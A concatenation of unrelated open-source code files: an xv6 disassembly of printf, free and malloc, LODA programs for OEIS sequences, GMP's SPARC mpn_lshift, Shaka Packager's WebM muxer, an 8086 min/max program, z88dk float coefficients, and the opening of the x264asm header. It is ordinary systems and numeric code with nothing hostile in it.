1); 3ba8: 83 ec 04 sub $0x4,%esp s++; 3bab: 83 c6 01 add $0x1,%esi 3bae: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 3bb1: 6a 01 push $0x1 3bb3: 57 push %edi 3bb4: 53 push %ebx 3bb5: e8 27 fd ff ff call 38e1 <write> while (*s != 0) { 3bba: 0f b6 06 movzbl (%esi),%eax 3bbd: 83 c4 10 add $0x10,%esp 3bc0: 84 c0 test %al,%al 3bc2: 75 e4 jne 3ba8 <printf+0x148> 3bc4: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 3bc7: 31 ff xor %edi,%edi 3bc9: e9 da fe ff ff jmp 3aa8 <printf+0x48> 3bce: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 3bd0: 83 ec 0c sub $0xc,%esp 3bd3: b9 0a 00 00 00 mov $0xa,%ecx 3bd8: 6a 01 push $0x1 3bda: e9 73 ff ff ff jmp 3b52 <printf+0xf2> 3bdf: 90 nop write(fd, &c, 1); 3be0: 83 ec 04 sub $0x4,%esp 3be3: 88 5d e5 mov %bl,-0x1b(%ebp) 3be6: 8d 45 e5 lea -0x1b(%ebp),%eax 3be9: 6a 01 push $0x1 3beb: e9 21 ff ff ff jmp 3b11 <printf+0xb1> putc(fd, *ap); 3bf0: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 3bf3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 3bf6: 8b 07 mov (%edi),%eax write(fd, &c, 1); 3bf8: 6a 01 push $0x1 ap++; 3bfa: 83 c7 04 add $0x4,%edi putc(fd, *ap); 3bfd: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 3c00: 8d 45 e4 lea -0x1c(%ebp),%eax 3c03: 50 push %eax 3c04: ff 75 08 pushl 0x8(%ebp) 3c07: e8 d5 fc ff ff call 38e1 <write> ap++; 3c0c: 89 7d d4 mov %edi,-0x2c(%ebp) 3c0f: 83 c4 10 add $0x10,%esp state = 0; 3c12: 31 ff xor %edi,%edi 3c14: e9 8f fe ff ff jmp 3aa8 <printf+0x48> if (s == 0) s = "(null)"; 3c19: bb 50 55 00 00 mov $0x5550,%ebx while (*s != 0) { 3c1e: b8 28 00 00 00 mov $0x28,%eax 3c23: e9 72 ff ff ff jmp 3b9a <printf+0x13a> 3c28: 66 90 xchg %ax,%ax 3c2a: 66 90 xchg %ax,%ax 3c2c: 66 90 xchg %ax,%ax 3c2e: 66 90 xchg %ax,%ax 00003c30 <free>: static Header base; static Header *freep; void free(void *ap) { 3c30: 55 push %ebp Header *bp, *p; bp = (Header *)ap - 1; for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 3c31: a1 40 5f 00 00 mov 0x5f40,%eax { 3c36: 89 e5 mov %esp,%ebp 3c38: 57 push %edi 3c39: 56 push %esi 3c3a: 53 push %ebx 3c3b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header *)ap - 1; 3c3e: 8d 4b f8 lea -0x8(%ebx),%ecx 3c41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 3c48: 39 c8 cmp %ecx,%eax 3c4a: 8b 10 mov (%eax),%edx 3c4c: 73 32 jae 3c80 <free+0x50> 3c4e: 39 d1 cmp %edx,%ecx 3c50: 72 04 jb 3c56 <free+0x26> if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; 3c52: 39 d0 cmp %edx,%eax 3c54: 72 32 jb 3c88 <free+0x58> if (bp + bp->s.size == p->s.ptr) { 3c56: 8b 73 fc mov -0x4(%ebx),%esi 3c59: 8d 3c f1 lea (%ecx,%esi,8),%edi 3c5c: 39 fa cmp %edi,%edx 3c5e: 74 30 je 3c90 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 3c60: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 3c63: 8b 50 04 mov 0x4(%eax),%edx 3c66: 8d 34 d0 lea (%eax,%edx,8),%esi 3c69: 39 f1 cmp %esi,%ecx 3c6b: 74 3a je 3ca7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 3c6d: 89 08 mov %ecx,(%eax) freep = p; 3c6f: a3 40 5f 00 00 mov %eax,0x5f40 } 3c74: 5b pop %ebx 3c75: 5e pop %esi 3c76: 5f pop %edi 3c77: 5d pop %ebp 3c78: c3 ret 3c79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; 3c80: 39 d0 cmp %edx,%eax 3c82: 72 04 jb 3c88 <free+0x58> 3c84: 39 d1 cmp %edx,%ecx 3c86: 72 ce jb 3c56 <free+0x26> { 3c88: 89 d0 mov %edx,%eax 3c8a: eb bc jmp 3c48 <free+0x18> 3c8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 3c90: 03 72 04 add 0x4(%edx),%esi 3c93: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 3c96: 8b 10 mov (%eax),%edx 3c98: 8b 12 mov (%edx),%edx 3c9a: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 3c9d: 8b 50 04 mov 0x4(%eax),%edx 3ca0: 8d 34 d0 lea (%eax,%edx,8),%esi 3ca3: 39 f1 cmp %esi,%ecx 3ca5: 75 c6 jne 3c6d <free+0x3d> p->s.size += bp->s.size; 3ca7: 03 53 fc add -0x4(%ebx),%edx freep = p; 3caa: a3 40 5f 00 00 mov %eax,0x5f40 p->s.size += bp->s.size; 3caf: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 3cb2: 8b 53 f8 mov -0x8(%ebx),%edx 3cb5: 89 10 mov %edx,(%eax) } 3cb7: 5b pop %ebx 3cb8: 5e pop %esi 3cb9: 5f pop %edi 3cba: 5d pop %ebp 3cbb: c3 ret 3cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00003cc0 <malloc>: return freep; } void * malloc(uint nbytes) { 3cc0: 55 push %ebp 3cc1: 89 e5 mov %esp,%ebp 3cc3: 57 push %edi 3cc4: 56 push %esi 3cc5: 53 push %ebx 3cc6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; 3cc9: 8b 45 08 mov 0x8(%ebp),%eax if ((prevp = freep) == 0) { 3ccc: 8b 15 40 5f 00 00 mov 0x5f40,%edx nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; 3cd2: 8d 78 07 lea 0x7(%eax),%edi 3cd5: c1 ef 03 shr $0x3,%edi 3cd8: 83 c7 01 add $0x1,%edi if ((prevp = freep) == 0) { 3cdb: 85 d2 test %edx,%edx 3cdd: 0f 84 9d 00 00 00 je 3d80 <malloc+0xc0> 3ce3: 8b 02 mov (%edx),%eax 3ce5: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { if (p->s.size >= nunits) { 3ce8: 39 cf cmp %ecx,%edi 3cea: 76 6c jbe 3d58 <malloc+0x98> 3cec: 81 ff 00 10 00 00 cmp $0x1000,%edi 3cf2: bb 00 10 00 00 mov $0x1000,%ebx 3cf7: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 3cfa: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 3d01: eb 0e jmp 3d11 <malloc+0x51> 3d03: 90 nop 3d04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 3d08: 8b 02 mov (%edx),%eax if (p->s.size >= nunits) { 3d0a: 8b 48 04 mov 0x4(%eax),%ecx 3d0d: 39 f9 cmp %edi,%ecx 3d0f: 73 47 jae 3d58 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void *)(p + 1); } if (p == freep) 3d11: 39 05 40 5f 00 00 cmp %eax,0x5f40 3d17: 89 c2 mov %eax,%edx 3d19: 75 ed jne 3d08 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 3d1b: 83 ec 0c sub $0xc,%esp 3d1e: 56 push %esi 3d1f: e8 25 fc ff ff call 3949 <sbrk> if (p == (char *)-1) return 0; 3d24: 83 c4 10 add $0x10,%esp 3d27: 83 f8 ff cmp $0xffffffff,%eax 3d2a: 74 1c je 3d48 <malloc+0x88> hp->s.size = nu; 3d2c: 89 58 04 mov %ebx,0x4(%eax) free((void *)(hp + 1)); 3d2f: 83 ec 0c sub $0xc,%esp 3d32: 83 c0 08 add $0x8,%eax 3d35: 50 push %eax 3d36: e8 f5 fe ff ff call 3c30 <free> return freep; 3d3b: 8b 15 40 5f 00 00 mov 0x5f40,%edx if ((p = morecore(nunits)) == 0) return 0; 3d41: 83 c4 10 add $0x10,%esp 3d44: 85 d2 test %edx,%edx 3d46: 75 c0 jne 3d08 <malloc+0x48> } } 3d48: 8d 65 f4 lea -0xc(%ebp),%esp if ((p = morecore(nunits)) == 0) return 0; 3d4b: 31 c0 xor %eax,%eax } 3d4d: 5b pop %ebx 3d4e: 5e pop %esi 3d4f: 5f pop %edi 3d50: 5d pop %ebp 3d51: c3 ret 3d52: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (p->s.size == nunits) 3d58: 39 cf cmp %ecx,%edi 3d5a: 74 54 je 3db0 <malloc+0xf0> p->s.size -= nunits; 3d5c: 29 f9 sub %edi,%ecx 3d5e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 3d61: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 3d64: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 3d67: 89 15 40 5f 00 00 mov %edx,0x5f40 } 3d6d: 8d 65 f4 lea -0xc(%ebp),%esp return (void *)(p + 1); 3d70: 83 c0 08 add $0x8,%eax } 3d73: 5b pop %ebx 3d74: 5e pop %esi 3d75: 5f pop %edi 3d76: 5d pop %ebp 3d77: c3 ret 3d78: 90 nop 3d79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 3d80: c7 05 40 5f 00 00 44 movl $0x5f44,0x5f40 3d87: 5f 00 00 3d8a: c7 05 44 5f 00 00 44 movl $0x5f44,0x5f44 3d91: 5f 00 00 base.s.size = 0; 3d94: b8 44 5f 00 00 mov $0x5f44,%eax 3d99: c7 05 48 5f 00 00 00 movl $0x0,0x5f48 3da0: 00 00 00 3da3: e9 44 ff ff ff jmp 3cec <malloc+0x2c> 3da8: 90 nop 3da9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 3db0: 8b 08 mov (%eax),%ecx 3db2: 89 0a mov %ecx,(%edx) 3db4: eb b1 jmp 3d67 <malloc+0xa7>
; A028121: Expansion of 1/((1-4x)(1-5x)(1-8x)(1-10x)). ; Submitted by Christian Krause ; 1,27,467,6615,83811,990927,11193547,122534775,1311833171,13818932127,143838758427,1483810444935,15202640928931,154948536206127,1572891821232107,15916318178611095,160663127276015091,1618634582657172927,16282391104356326587,163592367533760057255,1642071799698286595651,16469905358461959112527,165092564327012547273867,1654073788532438920607415,16565923344320220759134611,165860718600781379773224927,1660219074701013373601625947,16615085893736575733552485575,166254020297153577862758655971 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,18912 ; Expansion of 1/((1-4x)(1-5x)(1-10x)). mul $1,8 add $1,$0 lpe mov $0,$1
; A017160: a(n) = (8*n + 7)^12. ; 13841287201,129746337890625,21914624432020321,787662783788549761,12381557655576425121,116191483108948578241,766217865410400390625,3909188328478827879681,16409682740640811134241,59091511031674153381441,188031682201497672618081,540360087662636962890625,1425760886846178945447841,3498450596935634189769921,8064241715186276625588961,17605349516220764271966721,36644198070556426025390625,73119371471655725294164801,140515219945627518837736801,261075123337098804348567681,470541197898347534873984161,825005006849765777587890625,1410629873249683485564270561,2357221572577185690065114881,3856887017121283350242637601,6189337220490697154402830401,9755769237612933691650390625,15123710539293666054338805121,23085737796000848857434784161,34735600510611194263176918721,51565999387260564203827465441,75593101654204447168212890625,109513833574845676773925608481,156903087818962082857498424641,222459234928734230114433331041,312307749504346137016129649281,434374369687385917207275390625,598841020838364120317909320641,818699769887346816976612516321,1110422355715432735355050594561,1494765384295483228389391941921,1997734107576381138808837890625,2651730845859653471779023381601,3496917589577226791795034339201,4582826154117173651132848229281,5970253488172346700935405703361,7733484380878508090972900390625,9962888906032515816542942031361,12767947514633659874603497973281,16280762773029363806577930555201,20660123377720792838942199093601,26096193295571563576699462890625,32815906717500287775869592309921,41089158014054007099883470298561,51235885083508853935305470692321,63634154429938853031268885072641,78729367044337105142988525390625,97044715732393126432543586057281,119193036985710246500182286995041,145890213878661931676924574560641,177970300842132701133631229400481,216402556571320625160840087890625,262310587822735519273195371913441,316993824502572670874954368542721,381951565303793484767982024880161,458909853273506385605676338637121,549851462148638510185254150390625,657049297151499182530934707318401,783103538254824010709579716221601,930982879777536811989009705170881,1104070247629210529880484868142561,1306213404656667768955230712890625,1541780885436174222555778050512161,1815723734577332468151810888111681,2133643557240451317422184503752801,2501867427200535611013579150076801,2927530236503150951433769775390625,3418665111637687630792991472534721,3984302564291813457966339655092961,4634579090239450029555549497745921,5380855977848196027347155641399841,6235849138168033184327871337890625,7213770821681211396962910689226081,8330484142655824678048014536845441,9603671390757777612872785217070241,11053017171245266755465100091871681,12700407479806905634768535400390625,14570145886022259902582039813226241,16689188070637629248948480417849121,19087396036478990989280159788445761,21797813390989492910337383832052321,24856963180204979452070761962890625,28305169839594861102236270425975201,32186906916727206510367651443384001,36551172314299206740492526759392481,41451892899843062581570679581301761,46948360430511817991733551025390625,53105700847911685321524902569712961,59995379109122034297528468395530081,67695741835979606723336079402230401 mul $0,8 add $0,7 pow $0,12
dnl SPARC v9 mpn_lshift dnl Copyright 1996, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C UltraSPARC 1&2: 2 C UltraSPARC 3: 3.25 C INPUT PARAMETERS define(`rp',`%i0') define(`up',`%i1') define(`n',`%i2') define(`cnt',`%i3') define(`u0',`%l0') define(`u1',`%l2') define(`u2',`%l4') define(`u3',`%l6') define(`tnc',`%i4') define(`fanop',`fitod %f0,%f2') dnl A quasi nop running in the FA pipe define(`fmnop',`fmuld %f0,%f0,%f4') dnl A quasi nop running in the FM pipe ASM_START() REGISTER(%g2,#scratch) REGISTER(%g3,#scratch) PROLOGUE(mpn_lshift) save %sp,-160,%sp sllx n,3,%g1 sub %g0,cnt,tnc C negate shift count add up,%g1,up C make %o1 point at end of src add rp,%g1,rp C make %o0 point at end of res ldx [up-8],u3 C load first limb subcc n,5,n srlx u3,tnc,%i5 C compute function result sllx u3,cnt,%g3 bl,pn %icc,.Lend1234 fanop subcc n,4,n ldx [up-16],u0 ldx [up-24],u1 add up,-32,up ldx [up-0],u2 ldx [up-8],u3 srlx u0,tnc,%g2 bl,pn %icc,.Lend5678 fanop b,a .Loop .align 16 .Loop: sllx u0,cnt,%g1 or %g3,%g2,%g3 ldx [up-16],u0 fanop C -- srlx u1,tnc,%g2 subcc n,4,n stx %g3,[rp-8] fanop C -- sllx u1,cnt,%g3 or %g1,%g2,%g1 ldx [up-24],u1 fanop C -- srlx u2,tnc,%g2 stx %g1,[rp-16] add up,-32,up fanop C -- sllx u2,cnt,%g1 or %g3,%g2,%g3 ldx [up-0],u2 fanop C -- srlx u3,tnc,%g2 stx %g3,[rp-24] add rp,-32,rp fanop C -- sllx u3,cnt,%g3 or %g1,%g2,%g1 ldx [up-8],u3 fanop C -- srlx u0,tnc,%g2 stx %g1,[rp-0] bge,pt %icc,.Loop fanop C -- .Lend5678: sllx u0,cnt,%g1 or %g3,%g2,%g3 srlx u1,tnc,%g2 stx %g3,[rp-8] sllx u1,cnt,%g3 or %g1,%g2,%g1 srlx u2,tnc,%g2 stx %g1,[rp-16] sllx u2,cnt,%g1 or %g3,%g2,%g3 srlx u3,tnc,%g2 stx %g3,[rp-24] add rp,-32,rp sllx u3,cnt,%g3 C carry... or %g1,%g2,%g1 stx %g1,[rp-0] .Lend1234: addcc n,4,n bz,pn %icc,.Lret fanop .Loop0: add rp,-8,rp subcc n,1,n ldx [up-16],u3 add up,-8,up srlx u3,tnc,%g2 or %g3,%g2,%g3 stx %g3,[rp] sllx u3,cnt,%g3 bnz,pt %icc,.Loop0 fanop .Lret: stx %g3,[rp-8] mov %i5,%i0 ret restore EPILOGUE(mpn_lshift)
; A085270: Integer part of the conversion from miles to kilometers. ; 0,1,3,4,6,8,9,11,12,14,16,17,19,20,22,24,25,27,28,30,32,33,35,37,38,40,41,43,45,46,48,49,51,53,54,56,57,59,61,62,64,65,67,69,70,72,74,75,77,78,80,82,83,85,86,88,90,91,93,94,96,98,99,101,102,104,106,107,109,111 mov $1,399 mul $1,$0 div $1,248
// Copyright 2015 Google Inc. All rights reserved. // // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file or at // https://developers.google.com/open-source/licenses/bsd #include "packager/media/formats/webm/webm_muxer.h" #include "packager/media/base/fourccs.h" #include "packager/media/base/media_sample.h" #include "packager/media/base/media_stream.h" #include "packager/media/base/stream_info.h" #include "packager/media/formats/webm/mkv_writer.h" #include "packager/media/formats/webm/multi_segment_segmenter.h" #include "packager/media/formats/webm/single_segment_segmenter.h" #include "packager/media/formats/webm/two_pass_single_segment_segmenter.h" namespace shaka { namespace media { namespace webm { WebMMuxer::WebMMuxer(const MuxerOptions& options) : Muxer(options) {} WebMMuxer::~WebMMuxer() {} Status WebMMuxer::Initialize() { CHECK_EQ(streams().size(), 1U); if (crypto_period_duration_in_seconds() > 0) { NOTIMPLEMENTED() << "Key rotation is not implemented for WebM"; return Status(error::UNIMPLEMENTED, "Key rotation is not implemented for WebM"); } if (encryption_key_source() && (protection_scheme() != FOURCC_cenc)) { NOTIMPLEMENTED() << "WebM does not support protection scheme other than 'cenc'."; return Status(error::UNIMPLEMENTED, "WebM does not support protection scheme other than 'cenc'."); } scoped_ptr<MkvWriter> writer(new MkvWriter); Status status = writer->Open(options().output_file_name); if (!status.ok()) return status; if (!options().single_segment) { segmenter_.reset(new MultiSegmentSegmenter(options())); } else if (writer->Seekable()) { segmenter_.reset(new SingleSegmentSegmenter(options())); } else { segmenter_.reset(new TwoPassSingleSegmentSegmenter(options())); } Status initialized = segmenter_->Initialize( writer.Pass(), streams()[0]->info().get(), progress_listener(), muxer_listener(), encryption_key_source(), max_sd_pixels(), clear_lead_in_seconds()); if (!initialized.ok()) return initialized; FireOnMediaStartEvent(); return Status::OK; } Status WebMMuxer::Finalize() { DCHECK(segmenter_); Status segmenter_finalized = segmenter_->Finalize(); if (!segmenter_finalized.ok()) return segmenter_finalized; FireOnMediaEndEvent(); LOG(INFO) << "WEBM file '" << options().output_file_name << "' finalized."; return Status::OK; } Status WebMMuxer::DoAddSample(const MediaStream* stream, scoped_refptr<MediaSample> sample) { DCHECK(segmenter_); DCHECK(stream == streams()[0]); return segmenter_->AddSample(sample); } void WebMMuxer::FireOnMediaStartEvent() { if (!muxer_listener()) return; DCHECK(!streams().empty()) << "Media started without a stream."; const uint32_t timescale = streams().front()->info()->time_scale(); muxer_listener()->OnMediaStart(options(), *streams().front()->info(), timescale, MuxerListener::kContainerWebM); } void WebMMuxer::FireOnMediaEndEvent() { if (!muxer_listener()) return; uint64_t init_range_start = 0; uint64_t init_range_end = 0; const bool has_init_range = segmenter_->GetInitRangeStartAndEnd(&init_range_start, &init_range_end); uint64_t index_range_start = 0; uint64_t index_range_end = 0; const bool has_index_range = segmenter_->GetIndexRangeStartAndEnd( &index_range_start, &index_range_end); const float duration_seconds = segmenter_->GetDuration(); const int64_t file_size = File::GetFileSize(options().output_file_name.c_str()); if (file_size <= 0) { LOG(ERROR) << "Invalid file size: " << file_size; return; } muxer_listener()->OnMediaEnd(has_init_range, init_range_start, init_range_end, has_index_range, index_range_start, index_range_end, duration_seconds, file_size); } } // namespace webm } // namespace media } // namespace shaka
; A048492: a(n) = ( 8*(2^n) - n^2 - 3*n - 6 )/2. ; 1,3,8,20,47,105,226,474,977,1991,4028,8112,16291,32661,65414,130934,261989,524115,1048384,2096940,4194071,8388353,16776938,33554130,67108537,134217375,268435076,536870504,1073741387,2147483181,4294966798,8589934062,17179868621,34359737771,68719476104,137438952804,274877906239,549755813145,1099511626994,2199023254730,4398046510241,8796093021303,17592186043468,35184372087840,70368744176627,140737488354245,281474976709526,562949953420134,1125899906841397,2251799813683971,4503599627369168,9007199254739612,18014398509480551,36028797018962481,72057594037926394,144115188075854274,288230376151710089,576460752303421775,1152921504606845204,2305843009213692120,4611686018427386011,9223372036854773853,18446744073709549598,36893488147419101150,73786976294838204317,147573952589676410715,295147905179352823576,590295810358705649364,1180591620717411301007,2361183241434822604361,4722366482869645211138,9444732965739290424762,18889465931478580852081,37778931862957161706791,75557863725914323416284,151115727451828646835344,302231454903657293673539,604462909807314587350005,1208925819614629174703014,2417851639229258349409110,4835703278458516698821381,9671406556917033397646003,19342813113834066795295328,38685626227668133590594060,77371252455336267181191607,154742504910672534362386785,309485009821345068724777226,618970019642690137449558194,1237940039285380274899120217,2475880078570760549798244351,4951760157141521099596492708,9903520314283042199192989512,19807040628566084398385983211,39614081257132168796771970701,79228162514264337593543945774,158456325028528675187087896014,316912650057057350374175796589,633825300114114700748351597835,1267650600228229401496703200424,2535301200456458802993406405700 add $0,1 lpb $0 add $1,1 add $2,$0 sub $0,1 mul $1,2 lpe sub $1,$2 mov $0,$1
; void p_forward_list_alt_clear(p_forward_list_alt_t *list) SECTION code_adt_p_forward_list_alt PUBLIC _p_forward_list_alt_clear EXTERN _p_forward_list_alt_init defc _p_forward_list_alt_clear = _p_forward_list_alt_init
; find minimum and maximum of 16 unsigned bytes, and write them to memmory. ;------------ ; stack segment : STSEG SEGMENT DB 64 DUP (?) STSEG ENDS ;------------ ; data segment : DTSEG SEGMENT ; place program data here array DB 73H, 82H, 10H, 7FH, 0D0H, 20H, 0B3H, 01DH, 94H, 0A2H, 71H, 50H, 11H, 0B0H, 17H, 99H ORG 10H maxi DB 00H ORG 18H mini DB 00H DTSEG ENDS ;------------ ; code segment : CDSEG SEGMENT MAIN PROC FAR ASSUME CS:CDSEG, DS:DTSEG, SS:STSEG MOV AX, DTSEG MOV DS, AX ; main code starts here ; initialize MOV BX, OFFSET array MOV AL, [BX] MOV DL, AL MOV DH, AL MOV CX, 10H loop1: MOV AL, [BX] CMP AL, DL JB newmin ; JB label Short Jump if first operand is Below second operand (as set by CMP instruction). Unsigned. ; use JL if you wish to use signed bytes ; JL label Short Jump if first operand is Less then second operand (as set by CMP instruction). Signed. CMP DH, AL JB newmax continue: INC BX LOOP loop1 JMP writeout newmin: MOV DL, AL JMP continue newmax: MOV DH, AL JMP continue writeout: MOV [mini], DL MOV [maxi], DH ; end (terminate) program terminate: MOV AH, 4CH INT 21H MAIN ENDP CDSEG ENDS END MAIN
; ; feilipu, 2020 June ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ;------------------------------------------------------------------------- ; Coefficients for sinf() and cosf() ;------------------------------------------------------------------------- SECTION rodata_fp_math32 PUBLIC _m32_coeff_sin, _m32_coeff_cos ; y = (((-1.9515295891E-4 * z + 8.3321608736E-3) * z - 1.6666654611E-1) * z + 0.0) ._m32_coeff_sin DEFQ 0x00000000; 0.0 DEFQ 0xBE2AAAA3; -1.6666654611e-1 DEFQ 0x3C08839E; 8.3321608736e-3 DEFQ 0xB94CA1F9; -1.9515295891e-4 ; y = ((( 2.443315711809948E-005 * z - 1.388731625493765E-003) * z + 4.166664568298827E-002) * z + 0.0) * z + 0.0; ._m32_coeff_cos DEFQ 0x00000000; 0.0 DEFQ 0x00000000; 0.0 DEFQ 0x3D2AAAA5; 4.166664568298827e-2 DEFQ 0xBAB6061A; -1.388731625493765e-3 DEFQ 0x37CCF5CE; 2.443315711809948e-5
;***************************************************************************** ;* x86inc.asm: x264asm abstraction layer ;***************************************************************************** ;* Copyright (C) 2005-2016 x264 project ;* ;* Authors: Loren Merritt <lorenm@u.washington.edu> ;* Anton Mitrofanov <BugMaster@narod.ru> ;* Fiona Glaser <fiona@x264.com> ;* Henrik Gramner <henrik@gramner.com> ;* ;* Permission to use, copy, modify, and/or distribute this software for any ;* purpose with or without fee is hereby granted, provided that the above ;* copyright notice and this permission notice appear in all copies. ;* ;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ;***************************************************************************** ; This is a header file for the x264ASM assembly language, which uses ; NASM/YASM syntax combined with a large number of macros to provide easy ; abstraction between different calling conventions (x86_32, win64, linux64). ; It also has various other useful features to simplify writing the kind of ; DSP functions that are most often used in x264. ; Unlike the rest of x264, this file is available under an ISC license, as it ; has significant usefulness outside of x264 and we want it to be available ; to the largest audience possible. Of course, if you modify it for your own ; purposes to add a new feature, we strongly encourage contributing a patch ; as this feature might be useful for others as well. Send patches or ideas ; to x264-devel@videolan.org . %ifndef private_prefix %define private_prefix x264 %endif %ifndef public_prefix %define public_prefix private_prefix %endif %ifndef STACK_ALIGNMENT %if ARCH_X86_64 %define STACK_ALIGNMENT 16 %else %define STACK_ALIGNMENT 4 %endif %endif %define WIN64 0 %define UNIX64 0 %if ARCH_X86_64 %ifidn __OUTPUT_FORMAT__,win32 %define WIN64 1 %elifidn __OUTPUT_FORMAT__,win64 %define WIN64 1 %elifidn __OUTPUT_FORMAT__,x64 %define WIN64 1 %else %define UNIX64 1 %endif %endif %define FORMAT_ELF 0 %ifidn __OUTPUT_FORMAT__,elf %define FORMAT_ELF 1 %elifidn __OUTPUT_FORMAT__,elf32 %define FORMAT_ELF 1 %elifidn __OUTPUT_FORMAT__,elf64 %define FORMAT_ELF 1 %endif %ifdef PREFIX %define mangle(x) _ %+ x %else %define mangle(x) x %endif %macro SECTION_RODATA 0-1 16 SECTION .rodata align=%1 %endmacro %if WIN64 %define PIC %elif ARCH_X86_64 == 0 ; x86_32 doesn't require PIC. ; Some distros prefer shared objects to be PIC, but nothing breaks if ; the code contains a few textrels, so we'll skip that complexity. %undef PIC %endif %ifdef PIC default rel %endif %ifdef __NASM_VER__ %use smartalign %endif ; Macros to eliminate most code duplication between x86_32 and x86_64: ; Currently this works only for leaf functions which load all their arguments ; into registers at the start, and make no other use of the stack. Luckily that ; covers most of x264's asm. ; PROLOGUE: ; %1 = number of arguments. loads them from stack if needed. ; %2 = number of registers used. pushes callee-saved regs if needed. ; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed. ; %4 = (optional) stack size to be allocated. The stack will be aligned before ; allocating the specified stack size. If the required stack alignment is ; larger than the known stack alignment the stack will be manually aligned ; and an extra register will be allocated to hold the original stack ; pointer (to not invalidate r0m etc.). To prevent the use of an extra ; register as stack pointer, request a negative stack size. ; %4+/%5+ = list of names to define to registers ; PROLOGUE can also be invoked by adding the same options to cglobal ; e.g. ; cglobal foo, 2,3,7,0x40, dst, src, tmp ; declares a function (foo) that automatically loads two arguments (dst and ; src) into registers, uses one additional register (tmp) plus 7 vector ; registers (m0-m6) and allocates 0x40 bytes of stack space. ; TODO Some functions can use some args directly from the stack. If they're the ; last args then you can just not declare them, but if they're in the middle ; we need more flexible macro. ; RET: ; Pops anything that was pushed by PROLOGUE, and returns. ; REP_RET: ; Use this instead of RET if it's a branch target. ; registers: ; rN and rNq are the native-size register holding function argument N ; rNd, rNw, rNb are dword, word, and byte size ; rNh is the high 8 bits of the word size ; rNm is the original location of arg N (a register or on the stack), dword ; rNmp is native size %macro DECLARE_REG 2-3 %define r%1q %2 %define r%1d %2d %define r%1w %2w %define r%1b %2b %define r%1h %2h %define %2q %2 %if %0 == 2 %define r%1m %2d %define r%1mp %2 %elif ARCH_X86_64 ; memory %define r%1m [rstk + stack_offset + %3] %define r%1mp qword r %+ %1 %+ m %else %define r%1m [rstk + stack_offset + %3] %define r%1mp dword r %+ %1 %+ m %endif %define r%1 %2 %endmacro %macro DECLARE_REG_SIZE 3 %define r%1q r%1 %define e%1q r%1 %define r%1d e%1 %define e%1d e%1 